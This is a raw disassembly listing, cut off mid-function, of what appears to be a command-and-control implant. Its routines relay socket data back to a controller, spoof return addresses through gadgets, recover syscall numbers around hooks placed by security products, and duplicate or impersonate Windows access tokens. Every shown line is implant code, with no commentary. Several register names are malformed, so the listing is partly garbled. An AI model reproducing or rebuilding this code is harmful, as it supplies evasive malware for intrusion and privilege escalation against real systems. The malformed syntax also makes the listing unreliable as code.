14001cd20SocketNew:
14001cd20push rbp
14001cd21xor eax, eax
14001cd23mov rbp, rsp
14001cd26push r15
14001cd28push r14
14001cd2apush r13
14001cd2cmov r13l, edx
14001cd2fxor edx, edx
14001cd31push r12
14001cd33mov r12l, r8l
14001cd36push rdi
14001cd37push rsi
14001cd38mov rsi, rcx
14001cd3bmov ecx, 7
14001cd40push rbx
14001cd41mov rbx, r9
14001cd44and rsp, -16
14001cd48sub rsp, 208
14001cd4fmov r14l, [rbp+48]
14001cd53lea rdi, [rsp+180]
14001cd5bmov [rsp+164], rdx
14001cd63rep stosd [rdi], eax
14001cd65mov [rsp+172], rdx
14001cd6dmov [rsp+160], 1
14001cd78test r8l, r8l
14001cd7bjne 0x14001cda4
14001cd7dtest r9, r9
14001cd80jne 0x14001cda4
14001cd82lea r9, [rip+49173]
14001cd89mov r8l, 69
14001cd8flea rdx, [rip+0x1049a]
14001cd96lea rcx, [rip+49071]
14001cd9dcall printf
14001cda2jmp 0x14001cdfe
14001cda4
14001cda4loc_14001cda4:
14001cda4mov eax, [rbp+64]
14001cda7mov r9, rsi
14001cdaamov r8l, 73
14001cdb0lea rdx, [rip+0x10479]
14001cdb7lea rcx, [rip+49145]
14001cdbemov [rsp+72], eax
14001cdc2mov eax, [rbp+56]
14001cdc5mov [rsp+56], r14l
14001cdcamov [rsp+64], eax
14001cdcemov [rsp+48], rbx
14001cdd3mov [rsp+40], r12l
14001cdd8mov [rsp+32], r13l
14001cdddcall printf
14001cde2test r13l, r13l
14001cde5je 0x14001d1b6
14001cdebcmp r13l, 3
14001cdefje 0x14001d1b6
14001cdf5call InitWSA
14001cdfatest eax, eax
14001cdfcjne 0x14001ce05
14001cdfe
14001cdfeloc_14001cdfe:
14001cdfexor edi, edi
14001ce00jmp 0x14001d236
14001ce05
14001ce05loc_14001ce05:
14001ce05lea r9, [rip+49184]
14001ce0cmov r8l, 82
14001ce12lea rdx, [rip+0x10417]
14001ce19lea rcx, [rip+48940]
14001ce20call printf
14001ce25xor eax, eax
14001ce27xor r9l, r9l
14001ce2atest r12l, r12l
14001ce2dmov [rsp+40], eax
14001ce31mov rdi, [rip+62776]
14001ce38mov edx, 1
14001ce3dmov r8l, 6
14001ce43mov [rsp+32], eax
14001ce47je 0x14001cee8
14001ce4dmov ecx, 2
14001ce52call [rdi+1860]
14001ce58mov rsi, rax
14001ce5bcmp rax, -1
14001ce5fjne 0x14001ce77
14001ce61mov rax, [rdi+2230]
14001ce68mov r8l, 89
14001ce6emov r9l, [rax+104]
14001ce72jmp 0x14001cf0d
14001ce77
14001ce77loc_14001ce77:
14001ce77mov eax, r14l
14001ce7amov [rsp+56], r14l
14001ce7fmovzx r9l, r12b
14001ce83mov r8l, 98
14001ce89xchg al, ah
14001ce8blea rdx, [rip+0x1039e]
14001ce92lea rcx, [rip+49099]
14001ce99mov [rsp+168], r12l
14001cea1mov [rsp+164], 2
14001ceabmov [rsp+166], ax
14001ceb3mov eax, r12l
14001ceb6shr eax, 24
14001ceb9mov [rsp+48], eax
14001cebdmov eax, r12l
14001cec0shr eax, 16
14001cec3movzx eax, al
14001cec6mov [rsp+40], eax
14001cecamov eax, r12l
14001cecdmovzx eax, ah
14001ced0mov [rsp+32], eax
14001ced4call printf
14001ced9cmp r13l, 2
14001ceddjne 0x14001d0ab
14001cee3jmp 0x14001cff9
14001cee8
14001cee8loc_14001cee8:
14001cee8mov ecx, 23
14001ceedcall [rdi+1860]
14001cef3mov rsi, rax
14001cef6cmp rax, -1
14001cefajne 0x14001cf25
14001cefcmov rax, [rdi+2230]
14001cf03mov r8l, 111
14001cf09mov r9l, [rax+104]
14001cf0d
14001cf0dloc_14001cf0d:
14001cf0dlea rdx, [rip+0x1031c]
14001cf14lea rcx, [rip+48930]
14001cf1bcall printf
14001cf20jmp 0x14001cdfe
14001cf25
14001cf25loc_14001cf25:
14001cf25mov eax, r14l
14001cf28movups x0, [rbx]
14001cf2bmov [rsp+152], r14l
14001cf33mov r8l, 120
14001cf39xchg al, ah
14001cf3blea rdx, [rip+0x102ee]
14001cf42mov [rsp+180], 23
14001cf4clea rcx, [rip+48955]
14001cf53movups [rsp+188], x0
14001cf5bmov [rsp+182], ax
14001cf63movzx eax, [rbx+15]
14001cf67mov [rsp+144], eax
14001cf6emovzx eax, [rbx+14]
14001cf72mov [rsp+136], eax
14001cf79movzx eax, [rbx+13]
14001cf7dmov [rsp+128], eax
14001cf84movzx eax, [rbx+12]
14001cf88mov [rsp+120], eax
14001cf8cmovzx eax, [rbx+11]
14001cf90mov [rsp+112], eax
14001cf94movzx eax, [rbx+10]
14001cf98mov [rsp+104], eax
14001cf9cmovzx eax, [rbx+9]
14001cfa0mov [rsp+96], eax
14001cfa4movzx eax, [rbx+8]
14001cfa8mov [rsp+88], eax
14001cfacmovzx eax, [rbx+7]
14001cfb0mov [rsp+80], eax
14001cfb4movzx eax, [rbx+6]
14001cfb8mov [rsp+72], eax
14001cfbcmovzx eax, [rbx+5]
14001cfc0mov [rsp+64], eax
14001cfc4movzx eax, [rbx+4]
14001cfc8mov [rsp+56], eax
14001cfccmovzx eax, [rbx+3]
14001cfd0mov [rsp+48], eax
14001cfd4movzx eax, [rbx+2]
14001cfd8mov [rsp+40], eax
14001cfdcmovzx eax, [rbx+1]
14001cfe0mov [rsp+32], eax
14001cfe4movzx r9l, [rbx]
14001cfe8call printf
14001cfedcmp r13l, 2
14001cff1jne 0x14001d0ab
14001cff7jmp 0x14001d027
14001cff9
14001cff9loc_14001cff9:
14001cff9lea rdx, [rsp+164]
14001d001mov r8l, 16
14001d007mov rcx, rsi
14001d00acall [rdi+1932]
14001d010inc eax
14001d012jne 0x14001d066
14001d014mov rax, [rdi+2230]
14001d01bmov r8l, 136
14001d021mov r9l, [rax+104]
14001d025jmp 0x14001d053
14001d027
14001d027loc_14001d027:
14001d027mov r8l, 28
14001d02dlea rdx, [rsp+180]
14001d035mov rcx, rsi
14001d038call [rdi+1932]
14001d03einc eax
14001d040jne 0x14001d066
14001d042mov rax, [rdi+2230]
14001d049mov r8l, 145
14001d04fmov r9l, [rax+104]
14001d053
14001d053loc_14001d053:
14001d053lea rdx, [rip+0x101d6]
14001d05alea rcx, [rip+48788]
14001d061jmp 0x14001d167
14001d066
14001d066loc_14001d066:
14001d066mov rdi, [rip+62211]
14001d06dlea r8, [rsp+160]
14001d075mov edx, 0xffffffff8004667e
14001d07amov rcx, rsi
14001d07dcall [rdi+1876]
14001d083lea r9, [rip+48823]
14001d08amov r8l, 157
14001d090inc eax
14001d092jne 0x14001d1a3
14001d098mov rax, [rdi+2230]
14001d09fmov r8l, 153
14001d0a5mov r9l, [rax+104]
14001d0a9jmp 0x14001d0dd
14001d0ab
14001d0abloc_14001d0ab:
14001d0abmov rdi, [rip+62142]
14001d0b2lea r8, [rsp+160]
14001d0bamov edx, 0xffffffff8004667e
14001d0bfmov rcx, rsi
14001d0c2call [rdi+1876]
14001d0c8inc eax
14001d0cajne 0x14001d0ed
14001d0ccmov rax, [rdi+2230]
14001d0d3mov r8l, 166
14001d0d9mov r9l, [rax+104]
14001d0dd
14001d0ddloc_14001d0dd:
14001d0ddlea rdx, [rip+0x1014c]
14001d0e4lea rcx, [rip+48686]
14001d0ebjmp 0x14001d167
14001d0ed
14001d0edloc_14001d0ed:
14001d0edlea rdx, [rsp+164]
14001d0f5mov r8l, 16
14001d0fbmov rcx, rsi
14001d0fecall [rdi+1884]
14001d104inc eax
14001d106jne 0x14001d129
14001d108mov rax, [rdi+2230]
14001d10fmov r8l, 173
14001d115lea rdx, [rip+0x10114]
14001d11clea rcx, [rip+48688]
14001d123mov r9l, [rax+104]
14001d127jmp 0x14001d167
14001d129
14001d129loc_14001d129:
14001d129mov edx, 1
14001d12emov rcx, rsi
14001d131call [rdi+1892]
14001d137lea r9, [rip+48729]
14001d13emov r8l, 184
14001d144inc eax
14001d146jne 0x14001d1a3
14001d148mov rax, [rdi+2230]
14001d14fmov r8l, 180
14001d155lea rdx, [rip+0x100d4]
14001d15clea rcx, [rip+48657]
14001d163mov r9l, [rax+104]
14001d167
14001d167loc_14001d167:
14001d167call printf
14001d16clea rax, [rsi-1]
14001d170cmp rax, -3
14001d174ja 0x14001cdfe
14001d17amov rbx, [rip+61935]
14001d181mov rcx, rsi
14001d184mov rax, [rbx+2230]
14001d18bmov edi, [rax+104]
14001d18ecall [rbx+1908]
14001d194mov rax, [rbx+2230]
14001d19bmov [rax+104], edi
14001d19ejmp 0x14001cdfe
14001d1a3
14001d1a3loc_14001d1a3:
14001d1a3lea rdx, [rip+0x10086]
14001d1aalea rcx, [rip+48027]
14001d1b1call printf
14001d1b6
14001d1b6loc_14001d1b6:
14001d1b6mov r15, [rip+61875]
14001d1bdmov r8l, 56
14001d1c3mov edx, 8
14001d1c8mov rax, [r15+2230]
14001d1cfmov rax, [rax+96]
14001d1d3mov rcx, [rax+48]
14001d1d7call [r15+316]
14001d1demov rdi, rax
14001d1e1call RandomNumber32
14001d1e6mov [rdi+16], r13l
14001d1eamov r9, rdi
14001d1edmov r8l, 202
14001d1f3mov [rdi], eax
14001d1f5mov eax, [rbp+56]
14001d1f8lea rdx, [rip+0x10031]
14001d1fflea rcx, [rip+48550]
14001d206mov [rdi+20], r12l
14001d20amov [rdi+36], eax
14001d20dmov eax, [rbp+64]
14001d210mov [rdi+24], rbx
14001d214mov [rdi+40], eax
14001d217mov rax, [r15+2326]
14001d21emov [rdi+32], r14l
14001d222mov [rdi+8], rsi
14001d226mov [rdi+48], rax
14001d22amov [r15+2326], rdi
14001d231call printf
14001d236
14001d236loc_14001d236:
14001d236lea rsp, [rbp-56]
14001d23amov rax, rdi
14001d23dpop rbx
14001d23epop rsi
14001d23fpop rdi
14001d240pop r12
14001d242pop r13
14001d244pop r14
14001d246pop r15
14001d248pop rbp
14001d249ret
14001cd20

14001d24a
14001d24a // align 0x10

14001d250
14001d250SocketPush:
14001d250sub rsp, 40
14001d254call SocketClients
14001d259call SocketRead
14001d25eadd rsp, 40
14001d262jmp 0x14001ca40
14001d250

14001d267
14001d267 // align 0x10

14001d270
14001d270SocketRead:
14001d270push r15
14001d272xor r9l, r9l
14001d275push r14
14001d277push r13
14001d279push r12
14001d27bpush rbp
14001d27cpush rdi
14001d27dpush rsi
14001d27epush rbx
14001d27fsub rsp, 104
14001d283mov r12, [rip+61670]
14001d28amov [rsp+80], r9
14001d28fmov [rsp+88], r9
14001d294mov rbx, [r12+2326]
14001d29c
14001d29cloc_14001d29c:
14001d29ctest rbx, rbx
14001d29fje 0x14001d566
14001d2a5mov eax, [rbx+16]
14001d2a8sub eax, 2
14001d2abcmp eax, 1
14001d2aeja 0x14001d55d
14001d2b4lea rax, [rsp+88]
14001d2b9xor ebp, ebp
14001d2bbxor r13l, r13l
14001d2bexor r14l, r14l
14001d2c1mov [rsp+64], rax
14001d2c6xor r15l, r15l
14001d2c9
14001d2c9loc_14001d2c9:
14001d2c9xor ecx, ecx
14001d2cbxor r8l, r8l
14001d2cemov edx, 0x4004667f
14001d2d3mov [rsp+88], ecx
14001d2d7mov rcx, [rbx+8]
14001d2dbmov [rsp+80], r8
14001d2e0mov r8, [rsp+64]
14001d2e5call [r12+1876]
14001d2edinc eax
14001d2efjne 0x14001d334
14001d2f1mov eax, [rbx+16]
14001d2f4mov r8l, 323
14001d2falea rdx, [rip+64767]
14001d301lea rcx, [rip+48361]
14001d308mov r15l, 1
14001d30emov [rsp+32], eax
14001d312mov r9l, [rbx]
14001d315call printf
14001d31axor eax, eax
14001d31ccmp [rbx+16], 3
14001d320setne al
14001d323add eax, 4
14001d326mov [rbx+16], eax
14001d329call [r12+1868]
14001d331mov r14l, eax
14001d334
14001d334loc_14001d334:
14001d334mov r8l, [rsp+88]
14001d339test r8l, r8l
14001d33cje 0x14001d45e
14001d342mov rax, [r12+2230]
14001d34amov edx, 8
14001d34fmov rax, [rax+96]
14001d353mov rcx, [rax+48]
14001d357call [r12+316]
14001d35fmov rcx, [rbx+8]
14001d363mov r9, [rsp+64]
14001d368mov r8l, [rsp+88]
14001d36dmov rdx, rax
14001d370mov [rsp+80], rax
14001d375call RecvAll
14001d37atest eax, eax
14001d37cjne 0x14001d38f
14001d37ecall [r12+1868]
14001d386mov r15l, 1
14001d38cmov r14l, eax
14001d38f
14001d38floc_14001d38f:
14001d38fmov eax, [rsp+88]
14001d393test eax, eax
14001d395je 0x14001d45e
14001d39btest r13, r13
14001d39ejne 0x14001d3b3
14001d3a0xor edx, edx
14001d3a2mov r13, [rsp+80]
14001d3a7mov ebp, eax
14001d3a9mov [rsp+80], rdx
14001d3aejmp 0x14001d45e
14001d3b3
14001d3b3loc_14001d3b3:
14001d3b3mov rdx, [r12+2230]
14001d3bblea r8l, [rax+rbp]
14001d3bfmov rsi, r13
14001d3c2mov rdx, [rdx+96]
14001d3c6mov rcx, [rdx+48]
14001d3camov edx, 8
14001d3cfcall [r12+316]
14001d3d7mov [rsp+56], rax
14001d3dcmov eax, ebp
14001d3demov rdi, [rsp+56]
14001d3e3mov rcx, rax
14001d3e6rep movsb [rdi], [rsi]
14001d3e8mov rcx, rax
14001d3ebxor eax, eax
14001d3edmov [rsp+72], rdi
14001d3f2mov rdi, r13
14001d3f5rep stosb [rdi], al
14001d3f7mov rax, [r12+2230]
14001d3ffmov r8, r13
14001d402xor edx, edx
14001d404mov rax, [rax+96]
14001d408mov rcx, [rax+48]
14001d40ccall [r12+332]
14001d414mov ecx, [rsp+88]
14001d418mov rsi, [rsp+80]
14001d41dxor eax, eax
14001d41fmov rdi, [rsp+72]
14001d424rep movsb [rdi], [rsi]
14001d426mov ecx, [rsp+88]
14001d42amov rdi, [rsp+80]
14001d42fadd ebp, ecx
14001d431rep stosb [rdi], al
14001d433mov rax, [r12+2230]
14001d43bmov r8, [rsp+80]
14001d440xor edx, edx
14001d442mov rax, [rax+96]
14001d446mov rcx, [rax+48]
14001d44acall [r12+332]
14001d452xor eax, eax
14001d454mov r13, [rsp+56]
14001d459mov [rsp+80], rax
14001d45e
14001d45eloc_14001d45e:
14001d45ecmp [rsp+88], 0
14001d463jne 0x14001d2c9
14001d469test ebp, ebp
14001d46bje 0x14001d4e1
14001d46dmov eax, [rbx]
14001d46fmov r9l, ebp
14001d472mov r8l, 379
14001d478lea rdx, [rip+64385]
14001d47flea rcx, [rip+48037]
14001d486mov [rsp+32], eax
14001d48acall printf
14001d48fmov ecx, 2540
14001d494call PackageCreate
14001d499mov edx, 17
14001d49emov rcx, rax
14001d4a1mov rsi, rax
14001d4a4call PackageAddInt32
14001d4a9mov edx, [rbx]
14001d4abmov rcx, rsi
14001d4aecall PackageAddInt32
14001d4b3mov edx, [rbx+16]
14001d4b6mov rcx, rsi
14001d4b9call PackageAddInt32
14001d4bemov edx, 1
14001d4c3mov rcx, rsi
14001d4c6call PackageAddInt32
14001d4cbmov rcx, rsi
14001d4cemov r8l, ebp
14001d4d1mov rdx, r13
14001d4d4call PackageAddBytes
14001d4d9mov rcx, rsi
14001d4dccall PackageTransmit
14001d4e1
14001d4e1loc_14001d4e1:
14001d4e1test r15l, r15l
14001d4e4je 0x14001d532
14001d4e6mov ecx, 2540
14001d4ebcall PackageCreate
14001d4f0mov edx, 17
14001d4f5mov rcx, rax
14001d4f8mov r15, rax
14001d4fbcall PackageAddInt32
14001d500mov edx, [rbx]
14001d502mov rcx, r15
14001d505call PackageAddInt32
14001d50amov edx, [rbx+16]
14001d50dmov rcx, r15
14001d510call PackageAddInt32
14001d515xor edx, edx
14001d517mov rcx, r15
14001d51acall PackageAddInt32
14001d51fmov rcx, r15
14001d522mov edx, r14l
14001d525call PackageAddInt32
14001d52amov rcx, r15
14001d52dcall PackageTransmit
14001d532
14001d532loc_14001d532:
14001d532test r13, r13
14001d535je 0x14001d55d
14001d537mov ecx, ebp
14001d539mov rdi, r13
14001d53cxor eax, eax
14001d53erep stosb [rdi], al
14001d540mov rax, [r12+2230]
14001d548mov r8, r13
14001d54bxor edx, edx
14001d54dmov rax, [rax+96]
14001d551mov rcx, [rax+48]
14001d555call [r12+332]
14001d55d
14001d55dloc_14001d55d:
14001d55dmov rbx, [rbx+48]
14001d561jmp 0x14001d29c
14001d566
14001d566loc_14001d566:
14001d566add rsp, 104
14001d56apop rbx
14001d56bpop rsi
14001d56cpop rdi
14001d56dpop rbp
14001d56epop r12
14001d570pop r13
14001d572pop r14
14001d574pop r15
14001d576ret
14001d270

14001d577
14001d577 // align 0x10

14001d580
14001d580SpoofRetAddr:
14001d580test r8, r8
14001d583je 0x14001d620
14001d589push rsi
14001d58amov rsi, r9
14001d58dpush rbx
14001d58emov rbx, r8
14001d591sub rsp, 120
14001d595call FindGadget
14001d59atest rax, rax
14001d59djne 0x14001d5a3
14001d59fxor eax, eax
14001d5a1jmp 0x14001d619
14001d5a3
14001d5a3loc_14001d5a3:
14001d5a3mov [rsp+88], rax
14001d5a8xor ecx, ecx
14001d5aamov rax, [rsp+224]
14001d5b2xor edx, edx
14001d5b4mov [rsp+40], rcx
14001d5b9mov r9, [rsp+192]
14001d5c1mov rcx, rsi
14001d5c4mov [rsp+72], rax
14001d5c9mov rax, [rsp+216]
14001d5d1mov [rsp+104], rdx
14001d5d6mov r8, [rsp+184]
14001d5demov [rsp+64], rax
14001d5e3mov rax, [rsp+208]
14001d5ebmov rdx, [rsp+176]
14001d5f3mov [rsp+96], rbx
14001d5f8mov [rsp+56], rax
14001d5fdmov rax, [rsp+200]
14001d605mov [rsp+48], rax
14001d60alea rax, [rsp+88]
14001d60fmov [rsp+32], rax
14001d614call Spoof
14001d619
14001d619loc_14001d619:
14001d619add rsp, 120
14001d61dpop rbx
14001d61epop rsi
14001d61fret
14001d620
14001d620loc_14001d620:
14001d620xor eax, eax
14001d622ret
14001d580

14001d623
14001d623 // align 0x10

14001d630
14001d630StringCompareIW:
14001d630push rsi
14001d631mov r11, rdx
14001d634xor r8l, r8l
14001d637push rbx
14001d638mov rbx, rcx
14001d63bsub rsp, 40
14001d63f
14001d63floc_14001d63f:
14001d63fmovzx ecx, [rbx+r8]
14001d644call ToLowerCaseW
14001d649mov r9l, ecx
14001d64cmovzx ecx, [r11+r8]
14001d651mov r10l, eax
14001d654call ToLowerCaseW
14001d659cmp r10w, ax
14001d65djne 0x14001d66d
14001d65fadd r8, 2
14001d663test r9w, r9w
14001d667jne 0x14001d63f
14001d669xor eax, eax
14001d66bjmp 0x14001d676
14001d66d
14001d66dloc_14001d66d:
14001d66dcmp r9w, cx
14001d671sbb eax, eax
14001d673or eax, 1
14001d676
14001d676loc_14001d676:
14001d676add rsp, 40
14001d67apop rbx
14001d67bpop rsi
14001d67cret
14001d630

14001d67d
14001d67d // align 0x10

14001d680
14001d680StringCompareW:
14001d680xor eax, eax
14001d682
14001d682loc_14001d682:
14001d682mov r8w, [rcx+rax]
14001d687cmp r8w, [rdx+rax]
14001d68cjne 0x14001d69b
14001d68eadd rax, 2
14001d692test r8w, r8w
14001d696jne 0x14001d682
14001d698xor eax, eax
14001d69aret
14001d69b
14001d69bloc_14001d69b:
14001d69bsbb eax, eax
14001d69dor eax, 1
14001d6a0ret
14001d680

14001d6a1
14001d6a1 // align 0x10

14001d6b0
14001d6b0StringConcatW:
14001d6b0sub rsp, 40
14001d6b4mov r9, rcx
14001d6b7call StringLengthW
14001d6bclea rcx, [rcx+2*rax]
14001d6c0call StringCopyW
14001d6c5mov rax, r9
14001d6c8add rsp, 40
14001d6ccret
14001d6b0

14001d6cd
14001d6cd // align 0x10

14001d6d0
14001d6d0StringCopyA:
14001d6d0mov rax, rcx
14001d6d3xor ecx, ecx
14001d6d5
14001d6d5loc_14001d6d5:
14001d6d5mov r8b, [rdx+rcx]
14001d6d9mov [rax+rcx], r8b
14001d6ddinc rcx
14001d6e0test r8b, r8b
14001d6e3jne 0x14001d6d5
14001d6e5ret
14001d6d0

14001d6e6
14001d6e6 // align 0x10

14001d6f0
14001d6f0StringCopyW:
14001d6f0mov rax, rcx
14001d6f3xor ecx, ecx
14001d6f5
14001d6f5loc_14001d6f5:
14001d6f5mov r8w, [rdx+rcx]
14001d6famov [rax+rcx], r8w
14001d6ffadd rcx, 2
14001d703test r8w, r8w
14001d707jne 0x14001d6f5
14001d709ret
14001d6f0

14001d70a
14001d70a // align 0x10

14001d710
14001d710StringLengthA:
14001d710xor eax, eax
14001d712test rcx, rcx
14001d715je 0x14001d727
14001d717mov rax, rcx
14001d71a
14001d71aloc_14001d71a:
14001d71acmp [rax], 0
14001d71dje 0x14001d724
14001d71finc rax
14001d722jmp 0x14001d71a
14001d724
14001d724loc_14001d724:
14001d724sub rax, rcx
14001d727
14001d727loc_14001d727:
14001d727ret
14001d710

14001d728
14001d728 // align 0x10

14001d730
14001d730StringLengthW:
14001d730mov rax, rcx
14001d733
14001d733loc_14001d733:
14001d733cmp [rax], 0
14001d737je 0x14001d73f
14001d739add rax, 2
14001d73djmp 0x14001d733
14001d73f
14001d73floc_14001d73f:
14001d73fsub rax, rcx
14001d742sar rax, 1
14001d745ret
14001d730

14001d746
14001d746 // align 0x10

14001d750
14001d750StringTokenA:
14001d750mov rax, rcx
14001d753test rcx, rcx
14001d756je 0x14001d7ab
14001d758
14001d758loc_14001d758:
14001d758mov r10, rax
14001d75bmovsx r8l, [rax]
14001d75finc rax
14001d762mov rcx, rdx
14001d765
14001d765loc_14001d765:
14001d765movsx r9l, [rcx]
14001d769inc rcx
14001d76ctest r9l, r9l
14001d76fje 0x14001d778
14001d771cmp r8l, r9l
14001d774jne 0x14001d765
14001d776jmp 0x14001d758
14001d778
14001d778loc_14001d778:
14001d778test r8l, r8l
14001d77bje 0x14001d7a9
14001d77d
14001d77dloc_14001d77d:
14001d77dmovsx r9l, [rax]
14001d781inc rax
14001d784mov rcx, rdx
14001d787
14001d787loc_14001d787:
14001d787movsx r8l, [rcx]
14001d78binc rcx
14001d78ecmp r9l, r8l
14001d791jne 0x14001d7a2
14001d793test r9l, r9l
14001d796jne 0x14001d79c
14001d798
14001d798loc_14001d798:
14001d798mov rax, r10
14001d79bret
14001d79c
14001d79cloc_14001d79c:
14001d79cmov [rax-1], 0
14001d7a0jmp 0x14001d798
14001d7a2
14001d7a2loc_14001d7a2:
14001d7a2test r8l, r8l
14001d7a5jne 0x14001d787
14001d7a7jmp 0x14001d77d
14001d7a9
14001d7a9loc_14001d7a9:
14001d7a9xor eax, eax
14001d7ab
14001d7abloc_14001d7ab:
14001d7abret
14001d750

14001d7ac
14001d7ac // align 0x10

14001d7b0
14001d7b0SymbolIncludesLibrary:
14001d7b0push rbx
14001d7b1xor r8l, r8l
14001d7b4mov edx, 6
14001d7b9mov rbx, rcx
14001d7bcsub rsp, 32
14001d7c0call HashEx
14001d7c5cmp eax, 0xffffffffec6ba2a8
14001d7caje 0x14001d7d0
14001d7cc
14001d7ccloc_14001d7cc:
14001d7ccxor eax, eax
14001d7cejmp 0x14001d7f5
14001d7d0
14001d7d0loc_14001d7d0:
14001d7d0mov rcx, rbx
14001d7d3call StringLengthA
14001d7d8mov edx, 7
14001d7dddec rax
14001d7e0
14001d7e0loc_14001d7e0:
14001d7e0cmp rdx, rax
14001d7e3jae 0x14001d7cc
14001d7e5cmp [rbx+rdx], 36
14001d7e9je 0x14001d7f0
14001d7ebinc rdx
14001d7eejmp 0x14001d7e0
14001d7f0
14001d7f0loc_14001d7f0:
14001d7f0mov eax, 1
14001d7f5
14001d7f5loc_14001d7f5:
14001d7f5add rsp, 32
14001d7f9pop rbx
14001d7faret
14001d7b0

14001d7fb
14001d7fb // align 0x10

14001d800
14001d800SymbolIsImport:
14001d800sub rsp, 40
14001d804xor r8l, r8l
14001d807mov edx, 6
14001d80ccall HashEx
14001d811cmp eax, 0xffffffffec6ba2a8
14001d816sete al
14001d819add rsp, 40
14001d81dmovzx eax, al
14001d820ret
14001d800

14001d821
14001d821 // align 0x10

14001d830
14001d830SysDuplicateTokenEx:
14001d830push rdi
14001d831xor eax, eax
14001d833mov r10, rcx
14001d836mov ecx, 12
14001d83bpush rsi
14001d83cpush rbx
14001d83dsub rsp, 112
14001d841lea rdi, [rsp+64]
14001d846mov [rsp+52], 12
14001d84erep stosd [rdi], eax
14001d850xor eax, eax
14001d852mov [rsp+56], r9l
14001d857mov [rsp+60], eax
14001d85bmov [rsp+64], 48
14001d863test r8, r8
14001d866je 0x14001d881
14001d868xor eax, eax
14001d86acmp [r8+16], 0
14001d86fsetne al
14001d872add eax, eax
14001d874mov [rsp+88], eax
14001d878mov rax, [r8+8]
14001d87cmov [rsp+96], rax
14001d881
14001d881loc_14001d881:
14001d881lea rax, [rsp+52]
14001d886xor r9l, r9l
14001d889lea r8, [rsp+64]
14001d88emov rcx, r10
14001d891mov [rsp+104], rax
14001d896mov rax, [rsp+184]
14001d89emov [rsp+40], rax
14001d8a3mov eax, [rsp+176]
14001d8aamov [rsp+32], eax
14001d8aecall SysNtDuplicateToken
14001d8b3mov ebx, eax
14001d8b5mov eax, 1
14001d8batest ebx, ebx
14001d8bcjns 0x14001d901
14001d8bemov rsi, [rip+60075]
14001d8c5mov ecx, ebx
14001d8c7call [rsi+348]
14001d8cdmov r9l, ebx
14001d8d0mov r8l, 400
14001d8d6lea rdx, [rip+64483]
14001d8ddmov [rsp+32], eax
14001d8e1lea rcx, [rip+49224]
14001d8e8call printf
14001d8edmov rdi, [rsi+2230]
14001d8f4mov ecx, ebx
14001d8f6call [rsi+348]
14001d8fcmov [rdi+104], eax
14001d8ffxor eax, eax
14001d901
14001d901loc_14001d901:
14001d901add rsp, 112
14001d905pop rbx
14001d906pop rsi
14001d907pop rdi
14001d908ret
14001d830

14001d909
14001d909 // align 0x10

14001d910
14001d910SysExtract:
14001d910push rsi
14001d911push rbx
14001d912sub rsp, 40
14001d916test rcx, rcx
14001d919jne 0x14001d938
14001d91blea r9, [rip+48057]
14001d922mov r8l, 104
14001d928lea rdx, [rip+61361]
14001d92flea rcx, [rip+48017]
14001d936jmp 0x14001d966
14001d938
14001d938loc_14001d938:
14001d938mov r10l, edx
14001d93bmov rdx, r8
14001d93exor r8l, r8l
14001d941mov rbx, rcx
14001d944mov rax, rdx
14001d947mov rsi, r9
14001d94aor rax, r9
14001d94djne 0x14001d97b
14001d94fmov r9, rcx
14001d952mov r8l, 110
14001d958lea rdx, [rip+61313]
14001d95flea rcx, [rip+48021]
14001d966
14001d966loc_14001d966:
14001d966call printf
14001d96b
14001d96bloc_14001d96b:
14001d96bxor eax, eax
14001d96djmp 0x14001da45
14001d972
14001d972loc_14001d972:
14001d972cmp r9b, 76
14001d976je 0x14001d98d
14001d978
14001d978loc_14001d978:
14001d978inc r8l
14001d97b
14001d97bloc_14001d97b:
14001d97bmov ecx, r8l
14001d97elea rax, [rbx+rcx]
14001d982mov r9, [rax]
14001d985cmp r9b, -61
14001d989jne 0x14001d972
14001d98bjmp 0x14001d9e5
14001d98d
14001d98dloc_14001d98d:
14001d98dcmp [rbx+rcx+1], -117
14001d992jne 0x14001d978
14001d994cmp [rbx+rcx+2], -47
14001d999jne 0x14001d978
14001d99bcmp [rbx+rcx+3], -72
14001d9a0jne 0x14001d978
14001d9a2test rdx, rdx
14001d9a5jne 0x14001d9b3
14001d9a7test rsi, rsi
14001d9aaje 0x14001d96b
14001d9ac
14001d9acloc_14001d9ac:
14001d9aclea rcx, [rbx+rcx+30]
14001d9b1jmp 0x14001d9d9
14001d9b3
14001d9b3loc_14001d9b3:
14001d9b3movzx r9l, [rbx+rcx+5]
14001d9b9movzx r8l, [rbx+rcx+4]
14001d9bfshl r9l, 8
14001d9c3or r8l, r9l
14001d9c6mov [rdx], r8w
14001d9catest rsi, rsi
14001d9cdjne 0x14001d9ac
14001d9cfjmp 0x14001da40
14001d9d1
14001d9d1loc_14001d9d1:
14001d9d1inc rax
14001d9d4cmp rcx, rax
14001d9d7je 0x14001d9e5
14001d9d9
14001d9d9loc_14001d9d9:
14001d9d9cmp [rax], 1295
14001d9dejne 0x14001d9d1
14001d9e0mov [rsi], rax
14001d9e3jmp 0x14001da40
14001d9e5
14001d9e5loc_14001d9e5:
14001d9e5test rdx, rdx
14001d9e8je 0x14001da1b
14001d9eatest r10l, r10l
14001d9edjne 0x14001da0d
14001d9ef
14001d9efloc_14001d9ef:
14001d9efmov r9, rbx
14001d9f2mov r8l, 184
14001d9f8lea rdx, [rip+61153]
14001d9fflea rcx, [rip+47931]
14001da06call printf
14001da0bjmp 0x14001da1b
14001da0d
14001da0dloc_14001da0d:
14001da0dmov rcx, rbx
14001da10call FindSsnOfHookedSyscall
14001da15test eax, eax
14001da17je 0x14001d9ef
14001da19jmp 0x14001da45
14001da1b
14001da1bloc_14001da1b:
14001da1btest rsi, rsi
14001da1eje 0x14001d96b
14001da24mov r9, rbx
14001da27mov r8l, 188
14001da2dlea rdx, [rip+61100]
14001da34lea rcx, [rip+47941]
14001da3bjmp 0x14001d966
14001da40
14001da40loc_14001da40:
14001da40mov eax, 1
14001da45
14001da45loc_14001da45:
14001da45add rsp, 40
14001da49pop rbx
14001da4apop rsi
14001da4bret
14001d910

14001da4c
14001da4c // align 0x10

14001da50
14001da50SysImpersonateLoggedOnUser:
14001da50push rdi
14001da51xor eax, eax
14001da53xor r8l, r8l
14001da56xor r9l, r9l
14001da59push rsi
14001da5axor r11l, r11l
14001da5dxor r10l, r10l
14001da60mov edx, 8
14001da65push rbx
14001da66mov rbx, rcx
14001da69mov ecx, 12
14001da6esub rsp, 144
14001da75lea rdi, [rsp+96]
14001da7amov [rsp+84], r8
14001da7flea r8, [rsp+64]
14001da84rep stosd [rdi], eax
14001da86lea rax, [rsp+68]
14001da8bmov [rsp+92], r9l
14001da90mov rcx, rbx
14001da93mov [rsp+32], rax
